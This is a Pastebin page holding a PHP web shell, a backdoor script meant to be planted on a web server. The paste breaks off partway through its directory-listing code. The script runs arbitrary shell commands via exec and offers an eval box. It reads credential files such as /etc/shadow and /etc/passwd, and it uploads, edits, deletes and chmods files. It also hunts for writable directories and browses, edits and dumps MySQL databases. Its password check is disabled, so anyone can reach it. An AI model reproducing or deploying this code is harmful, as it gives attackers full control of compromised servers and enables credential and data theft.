API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
99
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.58 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. //error_reporting(0);
  3. @ini_restore("safe_mode");
  4. @ini_restore("open_basedir");
  5. if(get_magic_quotes_gpc()){
  6. while(list($key,$val)=each($_POST)){
  7. $_POST[$key]=stripslashes($val);}}
  8. set_magic_quotes_runtime(0);
  9. @set_time_limit(0);
  10. @ini_set('max_execution_time',0);
  11. @ini_set('output_buffering',0);
  12. $name='ds3c';
  13. $pass='c8d3a760ebab631565f8509d84b3b3f1';
  14. if(false){#esli nado pishem 'true'
  15. if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass){
  16. header('WWW-Authenticate: Basic realm="Auth"');header('HTTP/1.0 401 Unauthorized');
  17. exit;}}
  18. header("Cache-Control: no-store, no-cache, must-revalidate");
  19. header("Cache-Control: post-check=0, pre-check=0", false);
  20. header("Pragma: no-cache");
  21. function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");}
  22. function w($a){return str_repeat("&nbsp;",$a);}
  23. function b($b){return "<b>$b</b>";}
  24. function e($e){switch($e){
  25. case 0:return('no such file');
  26. case 1:return('no such dirictory');
  27. case 2:return('permission denied');
  28. case 3:return('is not dirictory');
  29. case 4:return('is a dirictory');
  30. }}
  31. function test_file($filename){
  32. return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
  33. if(isset($_POST['downl']) && !empty($_POST['downf'])){
  34. if(!preg_match('/^\//',$_POST['downf'])){
  35. $_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
  36. if(!test_file($_POST['downf'])){
  37. if(!is_dir($_POST['downf'])){
  38. $fd=fopen($_POST['downf'], "rb");
  39. $nam=preg_replace('/.+\//','',$_POST['downf']);
  40. header("Content-Type: application/octet-stream; name=\"".$nam."\"");
  41. header("Content-Length: ".filesize($_POST['downf']));
  42. header("Content-disposition: attachment; filename=\"".$nam."\"");
  43. while(!feof($fd)){
  44. $buffer=fgets($fd,4096);
  45. echo $buffer;
  46. }
  47. fclose ($fd);
  48. exit;
  49. }
  50. else $error=font('red',e(4));
  51. }
  52. else $error=test_file($_POST['downf']);}
  53. if(isset($_POST['sql']) && !isset($_POST['exitsql'])){
  54. $text="<body bgcolor=#C2DDFF>
  55. <b>Mysql@server:user:pass:db</b>
  56. <form method='POST'>
  57. ";
  58. $a=array('server','user','password','db');$i=-1;
  59. while($i++<3){
  60. $text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:'')."'>\n";}
  61. $text.="<input type='submit' name='sql' value='Connect'>
  62. <input type='submit' name='exitsql' value='Exit'>";
  63. $text="\n<body bgcolor=#C2DDFF>
  64. <b>Mysql@server:user:pass:db</b>
  65. <form method='POST'>\n";
  66. $a=array('srv','user','pass','db');$i=-1;
  67. while($i++<3){
  68. $text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:(($i==0)?'localhost':null))."'>\n";}
  69. $text.="<input type='submit' name='sql' value='Connect'><input type='submit' name='exitsql' value='Exit'>\n";
  70. if(isset($_POST['sql'])){
  71. if(isset($_POST['user']))$user=$_POST['user'];
  72. if(isset($_POST['pass']))$password=$_POST['pass'];
  73. if(isset($_POST['srv'])){
  74. $server=$_POST['srv'];
  75. $connect=mysql_connect($server,$user,$password) or die($text."</form>not connect");}
  76. else{die($text."</form>");}
  77. if(!empty($_POST['db'])){mysql_select_db($_POST['db'])or die("Could not select db<br>");}
  78. function write($data){
  79. switch($_POST['save']){
  80. case 0:
  81. global $dump;
  82. $dump.=$data;
  83. break;
  84. case 1:
  85. global $fp;
  86. switch($_POST['compr']){
  87. case 0:
  88. fwrite($fp,$data);
  89. break;
  90. case 1:
  91. gzwrite($fp, $data);
  92. break;
  93. case 2:
  94. bzwrite($fp,$data);
  95. break;}
  96. break;}}
  97. function sqlh(){
  98. global $dump,$server;
  99. write("#\n#Server : ".getenv('SERVER_NAME')."
  100. #DB_Host : ".$server."
  101. #DB : ".$_POST['db']."
  102. #Table : ".$_POST['table_sel']."\n#\n\n");}
  103. function sql(){
  104. global $dump,$connect;
  105. $row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `".$_POST['table_sel']."`",$connect));
  106. write("DROP TABLE IF EXISTS `".$_POST['table_sel']."`;\n".$row[1].";\n\n");}
  107. function sql1(){
  108. global $connect;
  109. $result=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
  110. function test($aaa){
  111. $d=array();
  112. while (list($key,$val)=each($aaa)){$d[$key]=addslashes($val);}
  113. return($d);}
  114. while ($line=mysql_fetch_assoc($result)) {
  115. ((!isset($key))?($key=implode('`, `',array_keys($line))):null);
  116. $ddd=test(array_values($line));
  117. $val=implode('\', \'',$ddd);
  118. write("INSERT INTO `".$_POST['table_sel']."`(`".$key."`) VALUES ('".$val."');\n");}
  119. mysql_free_result($result);}
  120. function head($tmpfname,$name){
  121. header("Content-Type: application/octet-stream; name=\"$name\"");
  122. header("Content-Length: ".filesize($tmpfname)."");
  123. header("Content-disposition: attachment; filename=\"$name\"");
  124. $fd=fopen($tmpfname, "r");
  125. while(!feof($fd)){
  126. echo fgets($fd, 4096);}
  127. fclose($fd);
  128. unlink($tmpfname);
  129. exit;}
  130. if(isset($_POST['back']) && isset($_POST['table_sel'])){
  131. $dump='';
  132. if($_POST['save']==1){
  133. $tmpfname=tempnam($_POST['save_p'], "FOO");
  134. switch($_POST['compr']){
  135. case 0:
  136. $fp=fopen($tmpfname,"w");
  137. break;
  138. case 1:
  139. $fp=gzopen($tmpfname, "w9");
  140. break;
  141. case 2:
  142. $fp=bzopen($tmpfname, "w");
  143. break;}}
  144. switch($_POST['as']){
  145. case 0:
  146. switch($_POST['as_sql']){
  147. case 0:
  148. sqlh();
  149. sql();
  150. break;
  151. case 1:
  152. sqlh();
  153. sql();
  154. sql1();
  155. break;
  156. case 2:
  157. sqlh();
  158. sql1();
  159. break;}
  160. if($_POST['save']==1){
  161. switch($_POST['compr']){
  162. case 0:
  163. $n='.txt';
  164. fclose($fp);
  165. break;
  166. case 1:
  167. $n='.gz';
  168. gzclose($fp);
  169. break;
  170. case 2:
  171. $n='.bz2';
  172. bzclose($fp);
  173. break;}
  174. head($tmpfname,$_POST['table_sel'].$n);}
  175. break;
  176. case 1:
  177. $res=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
  178. if(mysql_num_rows($res) > 0) {
  179. while($row = mysql_fetch_assoc($res)) {
  180. $values = array_values($row);
  181. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  182. $values = implode($_POST['cvs_term'], $values);
  183. write($values);}}
  184. break;}}
  185. echo "$text\n<table height=200 width=100%><tr><td bgcolor=green width=10%>";
  186. $db_list=mysql_list_dbs($connect);
  187. echo "<select name='db' multiple size=30>\n";
  188. while($row=mysql_fetch_object($db_list)){
  189. $db1=$row->Database;
  190. echo "<option value='$db1' ".(($db1===$_POST['db'])?'selected':'').">$db1</option>\n";}
  191. echo "</select></td><td bgcolor=#CBC3B6>\n";
  192. if(!empty($_POST['db'])){
  193. $tb_list=mysql_list_tables($_POST['db']);
  194. echo "<select name='table_sel' multiple size=30>";
  195. for($i=0;$i<mysql_num_rows($tb_list);$i++){
  196. $n=mysql_fetch_array(mysql_query('select count(*) from '.mysql_tablename($tb_list,$i)));
  197. echo "<option value='".mysql_tablename($tb_list, $i)."'".($tr=((isset($_POST['table_sel']) && $_POST['table_sel']===mysql_tablename($tb_list, $i))?'selected':'')).">".mysql_tablename($tb_list, $i).'('.$n[0].")</option>";}
  198. echo "</select></td><td width=100%>
  199. <table width=100% height=100% bgcolor='#E3FFF2'><tr><td height=20 bgcolor=#dfdfdf width=100%><nobr>\n";
  200. if(isset($_POST['table_sel'])){
  201. $c=array('Browse','SQL','Insert','Export');$i=-1;
  202. while($i++<3){echo "<input type=radio Name='go' value='".($i)."'>".$c[$i];}}
  203. echo "&nbsp;&nbsp;<b>".((isset($_POST['table_sel']))?$_POST['table_sel']:null)."</b></nobr></td></tr><tr width=100%><td width=100%>\n";}
  204. if(isset($_POST['push']) && isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']))$_POST['go']=0;
  205. elseif(isset($_POST['push']))$_POST['go']=1;
  206. if(isset($_POST['back']))$_POST['go']=3;
  207. if(isset($_POST['brow']))$_POST['go']=0;
  208. if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=4;
  209. if(isset($_POST['ed_save']))$_POST['go']=5;
  210. if(isset($_POST['editr']) && !isset($_POST['edit']))$_POST['go']=0;
  211. if(isset($_POST['go'])){switch($_POST['go']){
  212. case 0:
  213. if(isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']) && isset($_POST['push'])){
  214. $n=mysql_fetch_array(mysql_query(preg_replace('/^\s*select\s+.+\s+from\s+/i','select count(*) from',$_POST['querysql'])));
  215. $result=mysql_query($_POST['querysql'],$connect);}
  216. else{$n=mysql_fetch_array(mysql_query('select count(*) from '.$_POST['table_sel']));$sort='';
  217. if(!empty($_POST['sort']))$sort='ORDER BY `'.trim($_POST['sort']).'` ASC ';$co='0,20';
  218. if(isset($_POST['br_st']) && isset($_POST['br_en'])){
  219. $co=$_POST['br_en'].','.$_POST['br_st'];}
  220. $result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` $sort limit $co",$connect);}
  221. for($i=0;$i<mysql_num_fields($result);$i++){
  222. if(ereg('primary_key',mysql_field_flags($result, $i)))
  223. $prim=mysql_field_name($result, $i);}
  224. $up_e='';
  225. echo "<div style='width:100%;height:450px;overflow:auto;'><table border=1>\n";
  226. while($line=mysql_fetch_array($result,MYSQL_ASSOC)){echo "<tr bgcolor='#C1D2C5'>\n";
  227. if(!isset($lk)){
  228. echo "<td><b>EDIT</b></td>";
  229. foreach(array_keys($line) as $lk){print((isset($prim) && $lk===$prim)?"<td><u><b>$lk</b></u></td>":"<td>$lk</td>\n");}}
  230. if(!isset($prim)){
  231. while(list($key,$val)=each($line)){$up_e.="`$key`='".addslashes($val)."' and ";}
  232. $up_e=substr($up_e,0,-5);}
  233. else{while(list($key,$val)=each($line)){
  234. if($key===$prim){$up_e.="`$key`='".addslashes($val)."'";}}}
  235. $up_e=urlencode($up_e);
  236. echo "</tr><tr><td><input type=radio name=edit value='$up_e'></td>\n";
  237. $up_e='';
  238. foreach($line as $col_value){echo "<td>".((strlen($col_value)>40)?'<textarea cols=40 rows=7>'.htmlspecialchars($col_value).'</textarea>':htmlspecialchars($col_value))."</td>\n";}
  239. echo "</tr>\n";}
  240. echo "</table></div><input type=submit name='brow' value='Browse'><b>Sort by
  241. <input type=text name=sort size=10 value='".((isset($_POST['sort']))?$_POST['sort']:'')."'>
  242. Show <input type=text size=5 value=".((isset($_POST['br_st']))?$_POST['br_st']:$n[0])." name='br_st'>row(s) starting from<input type=text size=5 value=".((isset($_POST['br_en']))?$_POST['br_en']:'0')." name='br_en'></b>
  243. <input type=submit name=editr value=Edit>";
  244. mysql_free_result($result);
  245. break;
  246. case 1:
  247. echo "<input type=submit name=push value=Run><br>
  248. <textarea cols=70% rows=8 name='querysql'>\n".((!empty($_POST['querysql']))?htmlspecialchars($_POST['querysql'],ENT_QUOTES):((isset($_POST['table_sel']))?"SELECT * FROM `".$_POST['table_sel']."` WHERE 1":null))."</textarea><br><br>\n";
  249. if(!empty($_POST['querysql'])){
  250. $result = mysql_query($_POST['querysql'],$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
  251. echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";}
  252. break;
  253. case 2:
  254. echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";
  255. $fields=mysql_list_fields($_POST['db'],$_POST['table_sel'],$connect);
  256. for($i=0;$i<mysql_num_fields($fields);$i++){
  257. echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($fields,$i).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($fields, $i).'('.mysql_field_len($fields, $i).")</b></td><td>".((mysql_field_len($fields, $i)<40)?"<input type='text' name='ed_key:".mysql_field_name($fields,$i)."' value='' size=40>":"<textarea name='ed_key:".mysql_field_name($fields,$i)."' cols=31 rows=7></textarea>")."</td></tr>\n";}
  258. echo "</table></div><input type=hidden name=insert value=1><input type=submit name=ed_save value=Insert>";
  259. break;
  260. case 3:
  261. if(!isset($_POST['back']))echo '<table height=250 align="center"><TR><TD>
  262. <table height=100%>
  263. <tr><td bgcolor="#A8B8F1" width="100" height="20"><b>&nbsp;&nbsp;Export as</b></td></tr>
  264. <tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="0" checked><b>&nbsp;&nbsp;SQL</b></td></tr>
  265. <tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="1"><b>&nbsp;&nbsp;CSV</b></td></tr>
  266. <tr><td height=100%></td></tr>
  267. </table></TD><td>
  268. <table width="140" height=100%>
  269. <TR><TD bgcolor="#A8B8F1" height="20"><b>&nbsp;&nbsp;SQL</b></TD></TR>
  270. <TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="0" ><b>Only structure</b></TD></TR>
  271. <TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="1" checked><b>All</b></TD></TR>
  272. <TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="2"><b>Only data</b></TD></TR>
  273. <TR><TD bgcolor="#A8B8F1" height="20"><b>CSV</b></TD></TR>
  274. <TR><TD bgcolor="#D0E0FF" height="20"><b>Terminated&nbsp;</b><input size=2 type=text Name="cvs_term" value=":"></TD></TR>
  275. <tr><td height=100%></tb></tr>
  276. </table>
  277. </td><td>
  278. <table height=100%>
  279. <tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="0" checked><b>&nbsp;View</b></td></tr>
  280. <tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="1"><b>&nbsp;Download</b></td></tr>
  281. <tr><td bgcolor="#E6D29C" width="130" height="40"><b>&nbsp;Temp path</b><br><input type=text Name="save_p" value="/tmp"></td></tr>
  282. <tr><td height=100%></td></tr>
  283. </table></td><td>
  284. <table width="120" height=100%>
  285. <TR><TD bgcolor="#A8B8F1" height="20"><b>&nbsp;&nbsp;Compression</b></TD></TR>
  286. <TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="0" checked><b>None</b></TD></TR>'.
  287. ((@function_exists('gzencode'))?'<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="1" ><b>Gzip</b></TD></TR>':'').
  288. ((@function_exists('bzcompress'))?'<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="2"><b>Bzip</b></TD></TR>
  289. <tr><td height=100%></td></tr>':'').'</table></td></TR>
  290. <tr><td><input type=submit value=backup name=back></td></tr>
  291. </table>';
  292. if(isset($_POST['back']) && isset($_POST['table_sel'])){
  293. if($_POST['save']==0){echo "<textarea cols=70 rows=10>".htmlspecialchars($dump)."</textarea>";}}
  294. break;
  295. case 4:
  296. if(isset($_POST['edit'])){
  297. $up_e=$_POST['edit'];
  298. echo "<input type=hidden name=edit value='$up_e'>";
  299. $up_e=urldecode($_POST['edit']);
  300. echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";$fi=0;
  301. $result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` WHERE $up_e",$connect);
  302. while($line=mysql_fetch_array($result,MYSQL_ASSOC)){
  303. foreach($line as $key=>$col_value) {
  304. echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($result,$fi).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($result,$fi).'('.mysql_field_len($result,$fi).")</b></td><td>".((mysql_field_len($result,$fi)<40)?"<input type='text' name='ed_key:".mysql_field_name($result,$fi)."' value='".htmlspecialchars($col_value,ENT_QUOTES)."' size=40>":"<textarea name='ed_key:".mysql_field_name($result,$fi)."' cols=31 rows=7>".htmlspecialchars($col_value,ENT_QUOTES)."</textarea>")."</td></tr>\n";
  305. $fi++;}}
  306. echo "</table></div><input type=submit name=ed_save value=Save>";}
  307. break;
  308. case 5:
  309. $ted='';
  310. $_POST2=$_POST;# X.Z. zachem, xernya kakaeto :)
  311. while(list($key1,$val1)=each($_POST2)){
  312. if(preg_match('/ed_key:(.+)/',$key1,$m))
  313. {$ted.="`".$m[1]."`= '".addslashes($val1)."', ";}}
  314. $ted=substr($ted,0,-2);
  315. $query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 ");
  316. echo "<div style='background-color:white;'>".htmlspecialchars($query,ENT_QUOTES)."</div><br>";
  317. $result = mysql_query($query,$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
  318. echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";
  319. break;}}
  320. echo "</td></tr></table></td></tr></table><input type=hidden name=sql>\n";}
  321. else echo $text;
  322. echo "</form></body>";exit;}
  323. echo "<html><body bgcolor=white><center><table bgcolor=orange height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=orange height=10 border=1><tr><nobr><td>".font('blue','PHP:'.@phpversion())."</nobr></td><td><nobr>".font('blue',date('H:i:s l d F Y'))."</nobr></td><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n";
  324. if(!test_file('/etc/shadow'))echo font('red',b('shadow readable<br>'));
  325. if(!test_file('/etc/shadow-'))echo font('red',b('shadow- readable<br>'));
  326. if(!test_file('/etc/master.passwd'))echo font('red',b('master.passwd readable<br>'));
  327. if(!empty($_POST['th']))@chdir($_POST['th']);
  328. echo ((is_writable('/tmp/'))?font('green',"TEMP USE".w(1)):font('red',"TEMP NO USE"));
  329. #UP
  330. if(isset($_POST['up']))@chdir('../');
  331. #CD
  332. if(isset($_POST['c']) && $_POST['cd']!=''){
  333. if(!test_file($_POST['cd'])){
  334. if(is_dir($_POST['cd'])){
  335. @chdir($_POST['cd']);
  336. }
  337. else $error=font('red',e(3));
  338. }
  339. else $error=test_file($_POST['cd']);}
  340. echo w(3)."<input type=text size=60 value=".getcwd().">";
  341. echo font('blue','USER : '.get_current_user());
  342. if(file_exists("/"))
  343. echo((is_readable("/"))?w(2).font('green','DIR / - IS READ'):w(2).font('red','DIR / - IS NO READ'));
  344. if(file_exists("C:/"))
  345. echo((is_readable("C:/"))?w(2).font('green','DIR C:/ - IS READ'):w(2).font('red','DIR C:/ - IS NO READ'));
  346. if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
  347. echo "<br>";
  348. ?>
  349. <hr>
  350. <form method=POST name=main>
  351. <input type="submit" value="^" name="up">
  352. <input type=text name=cd>
  353. <input type=submit value=cd name=c>
  354. <input type=text name=open>
  355. <input type=submit value=open name=op>
  356. <input type=text name=new>
  357. <input type=submit name=cr value="new file">
  358. <input type=text name=exec>
  359. <input type=submit name=exe value=exec>
  360. <input type=submit name=info value=phpinfo>
  361. <br>
  362. <?php
  363. $ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/etc/hosts','/proc/version','/proc/cpuinfo','/proc/meminfo','/etc/httpd/conf/httpd.conf','/usr/local/apache/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/etc/syslog.conf');
  364. echo '<select name=passwd>';
  365. foreach($ar_file as $ar_l){
  366. if(!test_file($ar_l))echo "<option value='$ar_l'>$ar_l</option>\n";}
  367. echo '</select><input type=submit name=passw value="read file">';
  368. ?>
  369. <input type=submit name=menu value=upload>
  370. <input type=text name=downf>
  371. <input type=submit name=downl value=download>
  372. <input type=text name="test">
  373. <input type=submit name=tes value="perms">
  374. <input type="submit" name="sql" value="mysql">
  375. <input type="submit" name="eval" value="eval">
  376. <br>
  377. <input type=text name=strin>
  378. <input type=text name=remot>
  379. <input type=submit name=copy value=copy>
  380. <input type="text" name="renold" >
  381. <input type="text" name="rennew" >
  382. <input type="submit" name="rename" value="rename">
  383. <input type=text name=rm >
  384. <input type=submit name=del value=del>
  385. <br>
  386. <input type=reset value=RESET>
  387. <input type="text" name="mkdir">
  388. <input type="submit" name="mk" value="mkdir">
  389. <input type="text" name="rmdir">
  390. <input type="submit" name="rmd" value="rmdir">
  391. <input type="text" name="ch_mod">
  392. <?php
  393. for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n";
  394. for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";}
  395. echo"</select>";}
  396. ?>
  397. <input type="submit" name="ch_chmod" value="chmod">
  398. <input type=submit name=find value='find writeable'>
  399. <br>
  400. <hr>
  401. <?php
  402. #FIND WRITEABLE##############
  403. if(isset($_POST['find'])){
  404. echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');}
  405. if(isset($_POST['fww']) && !empty($_POST['fpath'])){
  406. echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>');
  407. $arrfw=array($_POST['fpath']);
  408. $ife=0;
  409. while(++$ife<=count($arrfw)){
  410. $pathfw=$arrfw[$ife-1];
  411. if(is_readable($pathfw)){
  412. if($hfw=opendir($pathfw)){
  413. while(false!==($ffw=readdir($hfw))){
  414. $ffw=$pathfw.$ffw;
  415. if(!preg_match('/\/\.+$/',$ffw)){
  416. if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
  417. print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}}
  418. closedir($hfw);}}}}
  419.  
  420.  
  421. if(isset($_POST['eval'])){
  422. echo "<textarea cols=70 rows=7 name='ev'></textarea>\n";
  423.  
  424.  
  425.  
  426.  
  427.  
  428. echo "";
  429. }
  430. ############################################################################
  431. #RENAME
  432. if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
  433. if(file_exists($_POST['renold'])){
  434. @rename($_POST['renold'],$_POST['rennew']);
  435. }
  436. else $error=font('red',e(0));
  437. }
  438. #
  439.  
  440. #RMDIR
  441. if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
  442. if(file_exists($_POST['rmdir'])){
  443. if(is_dir($_POST['rmdir'])){
  444. if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet");
  445. else $error=font('red','dir not deleted');
  446. }
  447. else $error=font('red',e(3));
  448. }
  449. else $error=font('red',e(0));
  450. }
  451. #
  452. #CHMOD
  453. if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
  454. if(file_exists($_POST['ch_mod'])){
  455. @chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
  456. else $error=font('red',e(0));}
  457. #
  458. #DELETE
  459. if(isset($_POST['del']) && $_POST['rm']!=''){
  460. if(file_exists($_POST['rm'])){
  461. if(!is_dir($_POST['rm'])){
  462. @unlink($_POST['rm']);
  463. }
  464. else echo "<br>".font('red',e(4)."<br>");
  465. }
  466. else echo "<br>".font('red',e(0)."<br>");
  467. }
  468. #
  469. #EXEC
  470. if(!empty($_POST['exe'])){
  471. if(@exec($_POST['exec'],$ar)){
  472. echo "<textarea cols=70 rows=15>";
  473. foreach($ar as $line){
  474. echo $line."\n";
  475. }
  476. echo "</textarea>";}}
  477. #
  478. #OPEN FILE
  479. if(isset($_POST['op']) && $_POST['open']!=''){
  480. if(!test_file($_POST['open'])){
  481. if(!is_dir($_POST['open'])){
  482. $fil=file($_POST['open']);
  483. echo "<textarea cols=100 rows=20 name=edit>";
  484. foreach($fil as $vv){
  485. echo htmlspecialchars($vv);
  486. }
  487. echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3);
  488. if(is_writable($_POST['open'])==1){
  489. echo w(2).font('green','ACCESS GRANTED');
  490. echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>";
  491. }}
  492. else $error=font('red',e(2));
  493. }
  494. else $error=test_file($_POST['open']);
  495. }
  496. if(isset($_POST['save'])){
  497. $fr=fopen($_POST['sv'],"w");
  498. $out=$_POST['edit'];
  499. fputs($fr,$out);
  500. fclose($fr);
  501. }
  502. #
  503. #CREATE FILE
  504. if(isset($_POST['cr']) && $_POST['new']!=''){
  505. if(is_writable(dirname($_POST['new']))){
  506. echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea>
  507. <input type=submit name=cre value=create>
  508. <input type=hidden value=".$_POST['new']." name=nf>";
  509. }
  510. else echo "<br>".font('red',e(2)."<br>");
  511. }
  512. if(isset($_POST['cre'])){
  513. $ee=fopen($_POST['nf'],'w+');
  514. $out=$_POST['newf'];
  515. fputs($ee,$out);
  516. fclose($ee);
  517. }
  518. #
  519. #MKDIR
  520. if(isset($_POST['mk']) && $_POST['mkdir']!=''){
  521. if(is_writeable('./')){
  522. @mkdir($_POST['mkdir']);
  523. echo font('green',"dir ".b($_POST['mkdir'])." create");
  524. }
  525. else echo font('red',e(2));
  526. }
  527. #
  528. echo "<input type=hidden name=th value=".getcwd()."></form>";
  529. #UPLOAD FILE
  530. if(isset($_POST['menu']) || isset($_POST['qq'])){
  531. echo "
  532. <form enctype=multipart/form-data method=post>
  533. Save as :<input type=text name=name>File :<input name=userfile type=file>
  534. <input type=submit value=Send name=go_up>
  535. <input type=hidden name=qq>
  536. <input type=hidden name=th value=".getcwd()."></form>";
  537. if(isset($_POST['go_up'])){
  538. if(isset($_POST['name']) && $_POST['name']==''){
  539. $_POST['name']=$_FILES['userfile']['name'];}
  540. if(!preg_match('/^\//',$_POST['name'])){
  541. $_POST['name']=$_POST['th'].'/'.$_POST['name'];}
  542. if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
  543. @copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
  544. else echo "<br>".font('red',"Permisions denied");}}
  545. #
  546. #TEST PERM
  547. if(isset($_POST['tes']) && $_POST['test']!=''){
  548. $j=$_POST['test'];
  549. if(file_exists($j)){
  550. $w='';
  551. if(is_writeable($j)){
  552. $w=w(1).'WRITE'.w(1);
  553. }
  554. if(is_readable($j)){
  555. $w=$w.w(1).'READ'.w(1);
  556. }
  557. echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
  558. }
  559. else echo font('red',$e(0));
  560. }
  561. #
  562. #COPY
  563. if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
  564. if(file_exists(dirname($_POST['remot']))){
  565. if(file_exists($_POST['strin'])){
  566. if(is_writable(dirname($_POST['remot']))){
  567. if(is_readable($_POST['strin'])){
  568. @copy($_POST['strin'],$_POST['remot']);
  569. }
  570. else echo font('red',"no read string file");
  571. }
  572. else echo font('red',"no write dest directory");
  573. }
  574. else echo font('red',"no such file");
  575. }
  576. else echo font('red',"no such dest dir");
  577. }
  578. #
  579. #CHECK DISK
  580. if(isset($_POST['free']) && $_POST['dirfree']!=''){
  581. if(file_exists($_POST['dirfree'])){
  582. $fre=@disk_free_space($_POST['dirfree'])/1048576;
  583. echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
  584. $fre1=@disk_total_space($_POST['dirfree'])/1048576;
  585. echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
  586. }
  587. else echo font('red',"No such disk");
  588. }
  589. #
  590. (isset($_POST['info']))?phpinfo():null;
  591. #
  592. #PASSWD
  593. if(!empty($_POST['passwd']) && isset($_POST['passw'])){
  594. echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n";
  595. foreach(@file($_POST['passwd']) as $fed)echo $fed;
  596. echo "</textarea><br>\n";}
  597. #
  598. if(isset($error))echo $error;?>
  599. <hr><?php
  600. ##################################################################################
  601. if(is_readable(getcwd())){
  602. if($h=opendir(getcwd())){
  603. $arr=array();
  604. while(false!==($f=readdir($h))){array_push ($arr,$f);}
  605. closedir($h);}}
  606. else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>");
  607. sort($arr);
  608. echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>';
  609. foreach($arr as $f){
  610. $l=@lstat($f);
  611. print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):"")));
  612. $r=sprintf("%o",(@fileperms($f)) & 0777);
  613. $ow=posix_getpwuid($l[4]);
  614. $gr=posix_getgrgid($l[5]);
  615. $fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
  616. if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12);
